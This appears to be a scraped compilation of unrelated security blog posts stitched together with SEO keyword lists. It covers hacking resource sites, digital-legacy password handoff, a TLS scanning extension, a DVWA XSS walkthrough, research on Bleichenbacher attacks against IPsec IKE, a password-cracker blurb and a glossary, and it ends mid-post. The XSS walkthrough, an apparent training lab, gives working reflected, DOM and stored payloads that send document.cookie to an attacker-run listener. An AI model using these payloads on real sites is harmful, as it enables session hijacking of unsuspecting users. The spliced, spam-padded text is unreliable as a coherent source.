11 Best Hacking Websites to Learn Ethical Hacking From Basic 2018

1. HackRead: HackRead is a News Platform that centers on InfoSec, Cyber Crime, Privacy, Surveillance, and Hacking News with full-scale reviews on Social Media Platforms.
2. NFOHump: Offers up-to-date .NFO files and reviews on the latest pirate software releases.
3. Exploit DB: An archive of exploits and vulnerable software by Offensive Security. The site collects exploits from submissions and mailing lists and concentrates them in a single database.
4. The Hacker News: The Hacker News — most trusted and widely-acknowledged online cyber security news magazine with in-depth technical coverage for cybersecurity.
5. Hakin9: E-magazine offering in-depth looks at both attack and defense techniques and concentrates on difficult technical issues.
6. Packet Storm: Information Security Services, News, Files, Tools, Exploits, Advisories and Whitepapers.
7. Phrack Magazine: Digital hacking magazine.
8. Metasploit: Find security issues, verify vulnerability mitigations & manage security assessments with Metasploit. Get the worlds best penetration testing software now.
9. Hacked Gadgets: A resource for DIY project documentation as well as general gadget and technology news.
10. KitPloit: Leading source of Security Tools, Hacking Tools, CyberSecurity and Network Security.
11. SecTools.Org: List of 75 security tools based on a 2003 vote by hackers.

How To Pass Your Online Accounts After Death – 3 Methods

The topic of DEATH is not one that most people care to talk about, but the truth is that we are all going to die at some point and everything that we did online is going to end up in limbo if we don't make sure that someone we trust is going to be able to gain access to this information. This is going to be extremely important in order to close it down, or have your loved one do whatever you want them to do with your information. There are many things to take into consideration for this kind of situation. If you are like the average modern person, you probably have at least one email account, a couple of social media accounts in places like Facebook and Twitter. Perhaps you also have a website that you run or a blog. These are all very common things that people will usually do at some point and if you have anything that you consider valuable, you should have a way to leave it in the hands of someone you trust when you pass away.

Pass Accounts and Passwords After Death

Maybe you have an online platform that has a lot of content that you find useful and important. Perhaps you have even been able to turn some of that content into monetizable material and you don't want this to end when you pass away. This is more than enough of a reason to make sure that your information can be given to someone when you are no longer around.

There have been many cases when all the information has ended up being impossible to recover when a person has died, at least not without the need for the family members to do all kinds of things in order to prove a person is deceased. So here are some ways, you can passyour online accounts/data after death:

1) Making a Safe 'WILL' (or Locker) containing master password.

1. Make an inventory of all your online accounts and list them on a piece of paper one by one and give it to your loved one. For eg:– Your primary email address
   – Your Facebook ID/email
   – The Bank account or Internet banking ID
   – etc. To clarify, it will be only a list of the accounts you want your loved one to be able to access after you're dead. Just the list of accounts, nothing else (no passwords).
2. Set up a brand new e-mail address (Possibly Gmail account). Lets say youraccountsinfo@gmail.com
3. Now from your usual email account, Send an e-mail to youraccountsinfo@gmail.com, with the following content:– dd349r4yt9dfj
   – sd456pu3t9p4
   – s2398sds4938523540
   – djfsf4p These are, of course, the passwords and account numbers that you want your loved one to have once you're dead.
4. Tell your loved one that you did these things, and while you're at it, send him/her an e-mail from youraccountsinfo@gmail.com, so he/she will have the address handy in some special folder in his/her inbox.
5. Put the password for youraccountsinfo@gmail.com in your will or write it down on paper and keep it safe in your bank locker. Don't include the e-mail address as well, just put something like "The password is: loveyourhoney432d".

And its done! Your loved one will only have the password once you're dead, and the info is also secure, since it's split in two places that cannot be easily connected, so if the e-mail address happens to be hacked, the perpetrator won't be able to use it to steal anything that you're going to leave for your loved one.

2) Preparing a Future email (SWITCH) containing login information

This method is very similar to the first one except in this case we will not be using a WILL or Locker. Instead we will be using a Service called "Dead Mans Switch" that creates a switch (Future email) and sends it to your recipients after a particular time interval. Here is how it works.

1. Create a list of accounts as discussed in the first method and give it to your loved one.
2. Register on "Dead mans switch" and create a switch containing all the corresponding passwords and enter the recipients email (Your loved one).
3. Your switch will email you every so often, asking you to show that you are fine by clicking a link. If something happens to you, your switch would then send the email you wrote to the recipient you specified. Sort of an "electronic will", one could say.

3) Using password managers that have emergency access feature

Password managers like LastPass and Dashlane have a feature called as "emergency access".  It functions as a dead man's switch. You just have to add your loved one to your password manager, with emergency access rights. he/She does not see any of your information, nor can he/she log into your accounts normally.

But if the worst happens, your loved one can invoke the emergency access option. Next your password manager sends an email to you and starts a timer. If, after a certain amount of time interval, you have not refused the request, then your loved one gets full access to your password manager.

You can always decide what they can potentially gain access to, and you set the time delay.

Why should i bother about passing my digital legacy?

Of all the major online platforms, only Google and Facebook have provisions for Inactiveaccounts (in case of death). Google lets you plan for the inevitable ahead of time. Using the "Inactive Account Manager", you can designate a beneficiary who will inherit access to any or all of your Google accounts after a specified period of inactivity (the default is 3 months).

Facebook on the other hand will either delete your inactive account or turn it into a memorial page when their family can provide any proof of their death, but there is also a large number of platforms that don't have any specific way for people to be able to verify the death of a loved one in order to gain access to the accounts. In either case, you wouldn't want your family to have to suffer through any hassles and complications after you have passed away.

You should also consider the importance of being able to allow your loved ones to collect all the data you left behind. This means photos and experiences that can be used to show other generations the way that you lived and the kind of things you enjoyed doing.

Those memories are now easier to keep and the best photos can be downloaded for the purpose of printing them for photo albums or frames. Allowing them to have the chance to do this in a practical way is going to be a great gesture and securing any profitable information is going to be essential if you want a business or idea to keep moving forward with the help of those you trust.

This is the reason why you need to be able to pass your online account information after death, but no one wants to give access to this kind of information to their loved ones because it's of a private nature and we would feel uneasy knowing that others can access our private conversations or message.

Related word

1. Hacking Hardware
2. Pentest Methodology
3. Hacking Health
4. Pentest Security
5. Pentest+ Vs Oscp
6. Hacking Lab
7. Pentest Environment
8. How To Pentest A Network
9. Pentest Book
10. Hacking Google
11. Pentest Owasp Top 10
12. Hacker Box
13. Pentest Ftp
14. Pentest Smtp
15. Hacker Code
16. Hacker Box

Scanning TLS Server Configurations With Burp Suite

In this post, we present our new Burp Suite extension "TLS-Attacker".
Using this extension penetration testers and security researchers can assess the security of TLS server configurations directly from within Burp Suite.
The extension is based on the TLS-Attacker framework and the TLS-Scanner, both of which are developed by the Chair for Network and Data Security.

You can find the latest release of our extension at: https://github.com/RUB-NDS/TLS-Attacker-BurpExtension/releases

TLS-Scanner

Thanks to the seamless integration of the TLS-Scanner into the BurpSuite, the penetration tester only needs to configure a single parameter: the host to be scanned.  After clicking the Scan button, the extension runs the default checks and responds with a report that allows penetration testers to quickly determine potential issues in the server's TLS configuration.  Basic tests check the supported cipher suites and protocol versions.  In addition, several known attacks on TLS are automatically evaluated, including Bleichenbacher's attack, Padding Oracles, and Invalid Curve attacks.

Furthermore, the extension allows fine-tuning for the configuration of the underlying TLS-Scanner.  The two parameters parallelProbes and overallThreads can be used to improve the scan performance (at the cost of increased network load and resource usage).

It is also possible to configure the granularity of the scan using Scan Detail and Danger Level. The level of detail contained in the returned scan report can also be controlled using the Report Detail setting.

Please refer to the GitHub repositories linked above for further details on configuration and usage of TLS-Scanner.

Scan History 

If several hosts are scanned, the Scan History tab keeps track of the preformed scans and is a useful tool when comparing the results of subsequent scans.

Additional functions will follow in later versions

Currently, we are working on integrating an at-a-glance rating mechanism to allow for easily estimating the security of a scanned host's TLS configuration.

This is a combined work of Nurullah Erinola, Nils Engelbertz, David Herring, Juraj Somorovsky, Vladislav Mladenov, and Robert Merget.  The research was supported by the European Commission through the FutureTrust project (grant 700542-Future-Trust-H2020-DS-2015-1).

If you would like to learn more about TLS, Juraj and Robert will give a TLS Training at Ruhrsec on the 27th of May 2019. There are still a few seats left.

Related news

1. Hacking Typer
2. Pentest Ios
3. Hacking Growth
4. Pentest Bootcamp
5. How To Pentest A Website With Kali
6. Hacker Website
7. Pentest Blog
8. Pentest With Kali Linux
9. Pentest Services
10. Pentest Ftp
11. Pentest Website
12. What Hacking Is
13. Hackerx
14. Pentest Tutorial

Learning Web Pentesting With DVWA Part 4: XSS (Cross Site Scripting)

In this article we are going to solve the Cross-Site Scripting Attack (XSS) challenges of DVWA app. Lets start by understanding what XSS attacks are. OWASP defines XSS as: "Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.
An attacker can use XSS to send a malicious script to an unsuspecting user. The end user's browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page."
XSS attacks are usually used to steal user cookies which let attackers control the victim's account or to deface a website. The severity of this attack depends on what type of account is compromised by the attacker. If it is a normal user account, the impact may not be that much but if it is an admin account it could lead to compromise of the whole app or even the servers.

DOM, Sources, and Sinks:

DVWA has three types of XSS challenges. We'll describe them as we go through them in this article. But before we go about to solve these challenges we need to understand few things about a browser. We need to know what Document Object Model (DOM) is and what are sources & sinks. DOM is used by browsers as a hierarchical representation of elements in the webpage. Wikipedia defines DOM as "a cross-platform and language-independent interface that treats an XML or HTML document as a tree structure wherein each node is an object representing a part of the document. The DOM represents a document with a logical tree". A source can be described simply as input that a user supplies. And a sink can be defined as "potentially dangerous JavaScript function or DOM object that can cause undesirable effects if attacker-controlled data is passed to it". Javascript function eval() is an example of a sink.

DOM Based XSS:

Now lets solve our first XSS challenge which is a DOM based XSS challenge. DOM based XSS occurs when sources are passed to sinks without proper validation. An attacker passes specifically crafted input to the sink to cause undesirable effects to the web app.
"Fundamentally, DOM-based vulnerabilities arise when a website passes data from a source to a sink, which then handles the data in an unsafe way in the context of the client's session."
On the DVWA app click on XSS (DOM), you will be presented with a page like this:

Keep an eye over the URL of the page. Now select a language and click the Select button. The URL should look like this now:

http://localhost:9000/vulnerabilities/xss_d/?default=English

We are making a GET request to the server and sending a default parameter with the language that we select. This default parameter is the source and the server is passing this source to the sink directly without any validation. Now lets try to exploit this vulnerability by changing the URL to this:

http://localhost:9000/vulnerabilities/xss_d/?default=<script>alert(XSS)</script>

When we hit enter after modifying the URL in the URL bar of the browser we should see an alert box popup with XSS written on it. This proves that the app is passing the data from source to sink without any validation now its time that we steal some cookies. Open another terminal or tab and setup a simple http server using python3 like this:

python3 -m http.server

By default the python http server runs on port 8000. Now lets modify the URL to steal the session cookies:

http://localhost:9000/vulnerabilities/xss_d/?default=<script>new Image().src="http://localhost:8000/?c="+document.cookie;</script>

The payload we have used here is from the github repository Payload all the things. It is an awesome repository of payloads. In this script, we define a new image whose source will be our python http server and we are appending user cookies to this request with the help of document.cookie javascript function. As can be seen in the image we get a request from the page as soon as the page loads with our xss payload and can see user cookies being passed with the request. That's it we have stolen the user cookies.

Reflected XSS:

Another type of XSS attack is called Reflected XSS Attack. OWASP describes Reflected XSS as those attacks "where the injected script is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request."
To perform this type of attack, click on XSS (Reflected) navigation link in DVWA. After you open the web page you are presented with an input field that asks you to input your name.

Now just type your name and click on submit button. You'll see a response from server which contains the input that you provided. This response from the server which contains the user input is called reflection. What if we submit some javascript code in the input field lets try this out:

<script>alert("XSS")</script>

After typing the above javascript code in the input field click submit. As soon as you hit submit you'll see a pop-up on the webpage which has XSS written on it. In order to steal some cookies you know what to do. Lets use another payload from payload all the things. Enter the code below in the input field and click submit:

<img src=x onerror=this.src="http://localhost:8000/?c="+document.cookie />

Here we are using img html tag and its onerror attribute to load our request. Since image x is not present on the sever it will run onerror javascipt function which performs a GET request to our python http server with user cookies. Like we did before.
Referencing OWASP again, it is mentioned that "Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other website. When a user is tricked into clicking on a malicious link, submitting a specially crafted form, or even just browsing to a malicious site, the injected code travels to the vulnerable web site, which reflects the attack back to the user's browser. The browser then executes the code because it came from a "trusted" server. Reflected XSS is also sometimes referred to as Non-Persistent or Type-II XSS."
Obviously you'll need your super awesome social engineering skills to successfully execute this type of attack. But yeah we are good guys why would we do so?

Stored XSS:

The last type of XSS attack that we are going to see is Stored XSS Attack. OWASP describes Stored XSS attacks as those attacks "where the injected script is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information. Stored XSS is also sometimes referred to as Persistent or Type-I XSS."
To perform this type of XSS attack, click on XSS (Stored) navigation link in DVWA. As the page loads, we see a Guestbook Signing form.

In this form we have to provide our name and message. This information (name and message) is being stored in a database. Lets go for a test spin. Type your name and some message in the input fields and then click Sign Guestbook. You should see your name and message reflected down below the form. Now what makes stored XSS different from reflected XSS is that the information is stored in the database and hence will persist. When you performed a reflected XSS attack, the information you provided in the input field faded away and wasn't stored anywhere but during that request. In a stored XSS however our information is stored in the database and we can see it every time we visit the particular page. If you navigate to some other page and then navigate back to the XSS (Stored) page you'll see that your name and message is still there, it isn't gone. Now lets try to submit some javascript in the message box. Enter a name in the name input field and enter this script in the message box:

<script>alert(XSS)</script>

When we click on the Sign Guestbook button, we get a XSS alert message.
Now when you try to write your cookie stealing payload you notice you cannot put your payload in the box as the maximum input length for the textarea is set to 50. To get rid of this restriction, right-click on the textarea box and click inspect. Change or delete the maxlength="50" attribute in code:

<textarea name="mtxMessage" cols="50" rows="3" maxlength="50"></textarea>

to something like this:

<textarea name="mtxMessage" cols="50" rows="3"></textarea>

And now use your payload to steal some cookies:

<img src=x onerror=this.src="http://localhost:8000/?c="+document.cookie />

Everytime a user visits this page you'll get his/her cookies (Sweet...). You don't need to send any links or try your super powerful social engineering skills to get user cookies. Your script is there in the database it will be loaded everytime a user visits this vulnerable page.
This is it for today see you next time.

References:

1. DOM-based vulnerabilities: https://portswigger.net/web-security/dom-based
2. DOM-based XSS: https://portswigger.net/web-security/cross-site-scripting/dom-based
3. Document Object Model: https://en.wikipedia.org/wiki/Document_Object_Model
4. Payload All the Things: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection
5. Cross Site Scripting (XSS): https://owasp.org/www-community/attacks/xss/

Related posts

1. Hacking Process
2. Pentest Keys
3. Pentest Lab Setup
4. Hacker Ethic
5. Hacking Hardware
6. Rapid7 Pentest
7. Pentest Tools Framework
8. Pentesterlab
9. Hacking 3Ds
10. Hacking Resources
11. Hacking Network
12. Hacker0Ne
13. Pentest Documentation
14. Pentest Ios
15. Hacker Kevin Mitnick
16. Pentest Meaning
17. Pentest Vs Ceh
18. Pentest Wiki

Practical Bleichenbacher Attacks On IPsec IKE

We found out that reusing a key pair across different versions and modes of IPsec IKE can lead to cross-protocol authentication bypasses, enabling the impersonation of a victim host or network by attackers. These vulnerabilities existed in implementations by Cisco, Huawei, and others.

This week at the USENIX Security conference, I will present our research paper on IPsec attacks: The Dangers of Key Reuse: Practical Attacks on IPsec IKE written by Martin Grothe, Jörg Schwenk, and me from Ruhr University Bochum as well as Adam Czubak and Marcin Szymanek from the University of Opole [alternative link to the paper]. This blog post is intended for people who like to get a comprehensive summary of our findings rather than to read a long research paper.

IPsec and Internet Key Exchange (IKE)

IPsec enables cryptographic protection of IP packets. It is commonly used to build VPNs (Virtual Private Networks). For key establishment, the IKE protocol is used. IKE exists in two versions, each with different modes, different phases, several authentication methods, and configuration options. Therefore, IKE is one of the most complex cryptographic protocols in use.

In version 1 of IKE (IKEv1), four authentication methods are available for Phase 1, in which initial authenticated keying material is established: Two public key encryption based methods, one signature based method, and a PSK (Pre-Shared Key) based method.

Attacks on IKE implementations

With our attacks we can impersonate an IKE device: If the attack is successful, we share a set of (falsely) authenticated symmetric keys with the victim device, and can successfully complete the handshake – this holds for both IKEv1 and IKEv2. The attacks are based on Bleichenbacher oracles in the IKEv1 implementations of four large network equipment manufacturers: Cisco, Huawei, Clavister, and ZyXEL. These Bleichenbacher oracles can also be used to forge digital signatures, which breaks the signature based IKEv1 and IKEv2 variants. Those who are unfamiliar with Bleichenbacher attacks may read this post by our colleague Juraj Somorovsky for an explanation.

The affected hardware test devices by Huawei, Cisco, and ZyXEL in our network lab.

We show that the strength of these oracles is sufficient to break all handshake variants in IKEv1 and IKEv2 (except those based on PSKs) when given access to powerful network equipment. We furthermore demonstrate that key reuse across protocols as implemented in certain network equipment carries high security risks.

We additionally show that both PSK based modes can be broken with an offline dictionary attack if the PSK has low entropy. Such an attack was previously only documented for one of those modes (edit: see this comment). We thus show attacks against all authentication modes in both IKEv1 and IKEv2 under reasonable assumptions.

The relationship between IKEv1 Phase 1, Phase 2, and IPsec ESP. Multiple simultaneous Phase 2 connections can be established from a single Phase 1 connection. Grey parts are encrypted, either with IKE derived keys (light grey) or with IPsec keys (dark grey). The numbers at the curly brackets denote the number of messages to be exchanged in the protocol.

Where's the bug?

The public key encryption (PKE) based authentication mode of IKE requires that both parties exchanged their public keys securely beforehand (e. g. with certificates during an earlier handshake with signature based authentication). RFC 2409 advertises this mode of authentication with a plausibly deniable exchange to raise the privacy level. In this mode, messages three and four of the handshake exchange encrypted nonces and identities. They are encrypted using the public key of the respective other party. The encoding format for the ciphertexts is PKCS #1 v1.5.

Bleichenbacher attacks are adaptive chosen ciphertext attacks against RSA-PKCS #1 v1.5. Though the attack has been known for two decades, it is a common pitfall for developers. The mandatory use of PKCS #1 v1.5 in the PKE authentication methods raised suspicion of whether implementations resist Bleichenbacher attacks.

PKE authentication is available and fully functional in Cisco's IOS operating system. In Clavister's cOS and ZyXEL's ZyWALL USG devices, PKE is not officially available. There is no documentation and no configuration option for it and it is therefore not fully functional. Nevertheless, these implementations processed messages using PKE authentication in our tests.

Huawei implements a revised mode of the PKE mode mentioned in the RFC that saves one private key operation per peer (we call it RPKE mode). It is available in certain Huawei devices including the Secospace USG2000 series.

We were able to confirm the existence of Bleichenbacher oracles in all these implementations. Here are the CVE entries and security advisories by the vendors (I will add links once they are available):

• Cisco: CVE-2018-0131, Security Advisory
• Huawei: CVE-2017-17305, Security Advisory
• Clavister: CVE-2018-8753, Security Advisory
• Zyxel: CVE-2018-9129, Security Advisory

On an abstract level, these oracles work as follows: If we replace the ciphertext of the nonce in the third handshake message with a modified RSA ciphertext, the responder will either indicate an error (Cisco, Clavister, and ZyXEL) or silently abort (Huawei) if the ciphertext is not PKCS #1 v1.5 compliant. Otherwise, the responder continues with the fourth message (Cisco and Huawei) or return an error notification with a different message (Clavister and ZyXEL) if the ciphertext is in fact PKCS #1 v1.5 compliant. Each time we learn that the ciphertext was valid, we can advance the Bleichenbacher attack one more step.

A Bleichenbacher Attack Against PKE

If a Bleichenbacher oracle is discovered in a TLS implementation, then TLS-RSA is broken since one can compute the Premaster Secret and the TLS session keys without any time limit on the usage of the oracle. For IKEv1, the situation is more difficult: Even if there is a strong Bleichenbacher oracle in PKE and RPKE mode, our attack must succeed within the lifetime of the IKEv1 Phase 1 session, since a Diffie-Hellman key exchange during the handshake provides an additional layer of security that is not present in TLS-RSA. For example, for Cisco this time limit is currently fixed to 60 seconds for IKEv1 and 240 seconds for IKEv2.

To phrase it differently: In TLS-RSA, a Bleichenbacher oracle allows to perform an ex post attack to break the confidentiality of the TLS session later on, whereas in IKEv1 a Bleichenbacher oracle only can be used to perform an online attack to impersonate one of the two parties in real time.

Bleichenbacher attack against IKEv1 PKE based authentication.

The figure above depicts a direct attack on IKEv1 PKE:

1. The attackers initiate an IKEv1 PKE based key exchange with Responder A and adhere to the protocol until receiving the fourth message. They extract the encrypted nonce from this message, and record the other public values of the handshake.
2. The attackers keep the IKE handshake with Responder A alive as long as the responder allows. For Cisco and ZyXEL we know that handshakes are cancelled after 60 seconds, Clavister and Huawei do so after 30 seconds.
3. The attackers initiate several parallel PKE based key exchanges to Responder B.
• In each of these exchanges, they send and receive the first two messages according to the protocol specifications.
• In the third message, they include a modified version of the encrypted nonce according to the the Bleichenbacher attack methodology.
• They wait until they receive an answer or they can reliably determine that this message will not be sent (timeout or reception of a repeated second handshake message).
4. After receiving enough answers from Responder B, the attackers can compute the plaintext of the nonce.
5. The attackers now have all the information to complete the key derivation and the handshake. They thus can impersonate Responder B to Responder A.

Key Reuse

Maintaining individual keys and key pairs for each protocol version, mode, and authentication method of IKE is difficult to achieve in practice. It is oftentimes simply not supported by implementations. This is the case with the implementations by Clavister and ZyXEL, for example. Thus, it is common practice to have only one RSA key pair for the whole IKE protocol family. The actual security of the protocol family in this case crucially depends on its cross-ciphersuite and cross-version security. In fact, our Huawei test device reuses its RSA key pair even for SSH host identification, which further exposes this key pair.

A Cross-Protocol Version Attack with Digital Signature Based Authentication

Signature Forgery Using Bleichenbacher's Attack

It is well known that in the case of RSA, performing a decryption and creating a signature is mathematically the same operation. Bleichenbacher's original paper already mentioned that the attack could also be used to forge signatures over attacker-chosen data. In two papers that my colleagues at our chair have published, this has been exploited for attacks on XML-based Web Services, TLS 1.3, and Google's QUIC protocol. The ROBOT paper used this attack to forge a signature from Facebook's web servers as proof of exploitability.

IKEv2 With Digital Signatures

Digital signature based authentication is supported by both IKEv1 and IKEv2. We focus here on IKEv2 because on Cisco routers, an IKEv2 handshake may take up to four minutes. This more relaxed timer compared to IKEv1 makes it an interesting attack target.

I promised that this blogpost will only give a comprehensive summary, therefore I am skipping all the details about IKEv2 here. It is enough to know that the structure of IKEv2 is fundamentally different from IKEv1.

If you're familiar with IT-security, then you will believe me that if digital signatures are used for authentication, it is not particularly good if an attacker can get a signature over attacker chosen data. We managed to develop an attack that exploits an IKEv1 Bleichenbacher oracle at some peer A to get a signature that can be used to break the IKEv2 authentication at another peer B. This requires that peer A reuses its key pair for IKEv2 also for IKEv1. For the details, please read our paper [alternative link to the paper].

Evaluation and Results

For testing the attack, we used a Cisco ASR 1001-X router running IOS XE in version 03.16.02.S with IOS version 15.5(3)S2. Unfortunately, Cisco's implementation is not optimized for throughput. From our observations we assume that all cryptographic calculations for IKE are done by the device's CPU despite it having a hardware accelerator for cryptography. One can easily overload the device's CPU for several seconds with a standard PC bursting handshake messages, even with the default limit for concurrent handshakes. And even if the CPU load is kept below 100 %, we nevertheless observed packet loss.

For the decryption attack on Cisco's IKEv1 responder, we need to finish the Bleichenbacher attack in 60 seconds. If the public key of our ASR 1001-X router is 1024 bits long, we measured an average of 850 responses to Bleichenbacher requests per second. Therefore, an attack must succeed with at most 51,000 Bleichenbacher requests.

But another limit is the management of Security Associations (SAs). There is a global limit of 900 Phase 1 SAs under negotiation per Cisco device in the default configuration. If this number is exceeded, one is blocked. Thus, one cannot start individual handshakes for each Bleichenbacher request to issue. Instead, SAs have to be reused as long as their error counter allows. Furthermore, establishing SAs with Cisco IOS is really slow. During the attack, the negotiations in the first two messages of IKEv1 require more time than the actual Bleichenbacher attack.

We managed to perform a successful decryption attack against our ASR 1001-X router with approximately 19,000 Bleichenbacher requests. However, due to the necessary SA negotiations, the attack took 13 minutes.

For the statistics and for the attack evaluation of digital signature forgery, we used a simulator with an oracle that behaves exactly as the ones by Cisco, Clavister, and ZyXEL. We found that about 26% of attacks against IKEv1 could be successful based on the cryptographic performance of our Cisco device. For digital signature forgery, about 22% of attacks could be successful under the same assumptions.

Note that (without a patched IOS), only non-cryptographic performance issues prevented a succesful attack on our Cisco device. There might be faster devices that do not suffer from this. Also note that a too slow Bleichenbacher attack does not permanently lock out attackers. If a timeout occurs, they can just start over with a new attack using fresh values hoping to require fewer requests. If the victim has deployed multiple responders sharing one key pair (e. g. for load balancing), this could also be leveraged to speed up an attack.

Responsible Disclosure

We reported our findings to Cisco, Huawei, Clavister, and ZyXEL. Cisco published fixes with IOS XE versions 16.3.6, 16.6.3, and 16.7.1. They further informed us that the PKE mode will be removed with the next major release.

Huawei published firmware version V300R001C10SPH702 for the Secospace USG2000 series that removes the Bleichenbacher oracle and the crash bugs we identified. Customers who use other affected Huawei devices will be contacted directly by their support team as part of a need-to-know strategy.

Clavister removed the vulnerable authentication method with cOS version 12.00.09. ZyXEL responded that our ZyWALL USG 100 test device is from a legacy model series that is end-of-support. Therefore, these devices will not receive a fix. For the successor models, the patched firmware version ZLD 4.32 (Release Notes) is available.

FAQs

• Why don't you have a cool name for this attack?
  The attack itself already has a name, it's Bleichenbacher's attack. We just show how Bleichenbacher attacks can be applied to IKE and how they can break the protocol's security. So, if you like, call it IPsec-Bleichenbacher or IKE-Bleichenbacher.
• Do you have a logo for the attack?
  No.
• My machine was running a vulnerable firmware. Have I been attacked?
  We have no indication that the attack was ever used in the wild. However, if you are still concerned, check your logs. The attack is not silent. If your machine was used for a Bleichenbacher attack, there should be many log entries about decryption errors. If your machine was the one that got tricked (Responder A in our figures), then you could probably find log entries about unfinished handshake attempts.
• Where can I learn more?
  First of all, you can read the paper [alternative link to the paper]. Second, you can watch the presentation, either live at the conference or later on this page.
• What else does the paper contain?
  The paper contains a lot more details than this blogpost. It explains all authentication methods including IKEv2 and it gives message flow diagrams of the protocols. There, we describe a variant of the attack that uses the Bleichenbacher oracles to forge signatures to target IKEv2. Furthermore, we describe the quirks of Huawei's implementation including crash bugs that could allow for Denial-of-Service attacks. Last but not least, it describes a dictionary attack against the PSK mode of authentication that is covered in a separate blogpost.

Media Coverage, Blogs, and more

English

• Press release by the Ruhr University Bochum
• BleepingComputer
• Computer Business Review
• Medium
• SecurityWeek
• The Register
• ZDNet

German

• Pressemeldung der Ruhr-Universität Bochum
• FOCUS Online
• SecuPedia

Related news

1. Pentest Tools Free
2. Pentest Xss
3. Pentestmonkey
4. Pentesting
5. Pentest Firewall
6. Pentest Ftp
7. Pentest +
8. Hacking Apps
9. Hacking For Dummies
10. Pentest With Kali Linux
11. Pentest Os
12. Hacking With Linux

THC-Hydra

"A very fast network logon cracker which support many different services. Number one of the biggest security holes are passwords, as every password security study shows. Hydra is a parallized login cracker which supports numerous protocols to attack. This tool is a proof of concept code, to give researchers and security consultants the possibility to show how easy it would be to gain unauthorized access from remote to a system." read more...

Website: http://freeworld.thc.org/thc-hydra

Related articles

• Pentest Nmap
• Pentest Azure
• Hacking Games
• Pentestgeek
• Pentest Box
• Pentest Usb
• Hacking Growth
• Hacking Meaning
• Pentest Wifi
• Rapid7 Pentest
• Pentest Cyber Security
• Pentest Ios
• Hacker Language
• Hacking Images
• Pentest Usb
• Pentest Wordpress
• Hackerone
• Pentest Vs Ceh
• Hacker Videos

TERMINOLOGIES OF ETHICAL HACKING

What is the terminologies in ethical hacking?

Here are a few key terms that you will hear in discussion about hackers and what they do:

1-Backdoor-A secret pathway a hacker uses to gain entry to a computer system.

2-Adware-It is the softw-are designed to force pre-chosen ads to display on your system.

3-Attack-That action performs by a attacker on a system to gain unauthorized access.

4-Buffer Overflow-It is the process of attack where the hacker delivers malicious commands to a system by overrunning an application buffer.

5-Denial-of-Service attack (DOS)-A attack designed to cripple the victim's system by preventing it from handling its normal traffic,usally by flooding it with false traffic.

6-Email Warm-A virus-laden script or mini-program sent to an unsuspecting victim through a normal-looking email message.

7-Bruteforce Attack-It is an automated and simplest kind of method to gain access to a system or website. It tries different combination of usernames and passwords,again & again until it gets in from bruteforce dictionary.

8-Root Access-The highest level of access to a computer system,which can give them complete control over the system.

9-Root Kit-A set of tools used by an intruder to expand and disguise his control of the system.It is the stealthy type of software used for gain access to a computer system.

10-Session Hijacking- When a hacker is able to insert malicious data packets right into an actual data transmission over the internet connection.

11-Phreaker-Phreakers are considered the original computer hackers who break into the telephone network illegally, typically to make free longdistance phone calls or to tap lines.

12-Trojan Horse-It is a malicious program that tricks the computer user into opening it.There designed with an intention to destroy files,alter information,steal password or other information.

13-Virus-It is piece of code or malicious program which is capable of copying itself has a detrimental effect such as corrupting the system od destroying data. Antivirus is used to protect the system from viruses.

14-Worms-It is a self reflicating virus that does not alter  files but resides in the active memory and duplicate itself.

15-Vulnerability-It is a weakness which allows a hacker to compromise the security of a computer or network system to gain unauthorized access.

16-Threat-A threat is a possible danger that can exploit an existing bug or vulnerability to comprise the security of a computer or network system. Threat is of two types-physical & non physical.

17-Cross-site Scripting-(XSS) It is a type of computer security vulnerability found in web application.It enables attacker to inject client side script into web pages viwed by other users.

18-Botnet-It is also known as Zombie Army is a group of computers controlled without their owner's knowledge.It is used to send spam or make denial of service attacks.

19-Bot- A bot is a program that automates an action so that it can be done repeatedly at a much higher rate for a period than a human operator could do it.Example-Sending HTTP, FTP oe Telnet at a higer rate or calling script to creat objects at a higher rate.

20-Firewall-It is a designed to keep unwanted intruder outside a computer system or network for safe communication b/w system and users on the inside of the firewall.

21-Spam-A spam is unsolicited email or junk email sent to a large numbers of receipients without their consent.

22-Zombie Drone-It is defined as a hi-jacked computer that is being used anonymously as a soldier or drone for malicious activity.ExDistributing Unwanted Spam Emails.

23-Logic Bomb-It is a type of virus upload in to a system that triggers a malicious action when certain conditions are met.The most common version is Time Bomb.

24-Shrink Wrap code-The process of attack for exploiting the holes in unpatched or poorly configured software.

25-Malware-It is an umbrella term used to refer a variety of intrusive software, including computer viruses,worms,Trojan Horses,Ransomeware,spyware,adware, scareware and other malicious program.

Follow me on instagram-anoymous_adi

Read more

• Pentest Framework
• Hackerx
• Hacking Names
• Hacking Forums
• Pentest Lab Setup
• Hacking Tools

Insecurities Of WhatsApp's, Signal's, And Threema's Group Chats

Recently, the theoretical and practical analysis of secure instant messenger protocols received much attention, but the focus of prior evaluations mostly lay in one-to-one communication. In this blog post we want to presents the results of our work that focuses on group chat protocols of three major instant messenger applications; namely Signal, WhatsApp, and Threema.

In this blog post, we aim to focus on the practical impact and the found weaknesses identified by our analysis. The interested reader may also look into our paper for more details.

Our Aim and What We Were Looking For

End-to-end encryption protects the confidentiality of communication that is forwarded via central servers to the designated receivers. As a consequence, neither parties on the network route of the messages, nor the provider of the central server (e.g. the WhatsApp server) should be able to read any information out of the observation of the communication. In particular, no other user of the application should have access to the communication. Further it might be desirable to require that also the messages' integrity is end-to-end protected and that a sender is informed about the delivery state of sent messages.

Delivery state information in Signal (upper screenshot) and WhatsApp (lower screenshot)

In a two party scenario, this analysis is rather fixed to two components of the protocol: the key establishment between both parties and the communication channel protection using the established key (mostly consisting of an encryption algorithm and a scheme for providing integrity like MACs or signature schemes).

Regarded attackers

In a group setting, the same attackers apply (network, provider, other users). However the requirements for secure communication differ. It is further necessary that only group members can write to and read content from the group. Additionally, only administrators of the group are able to add new members.

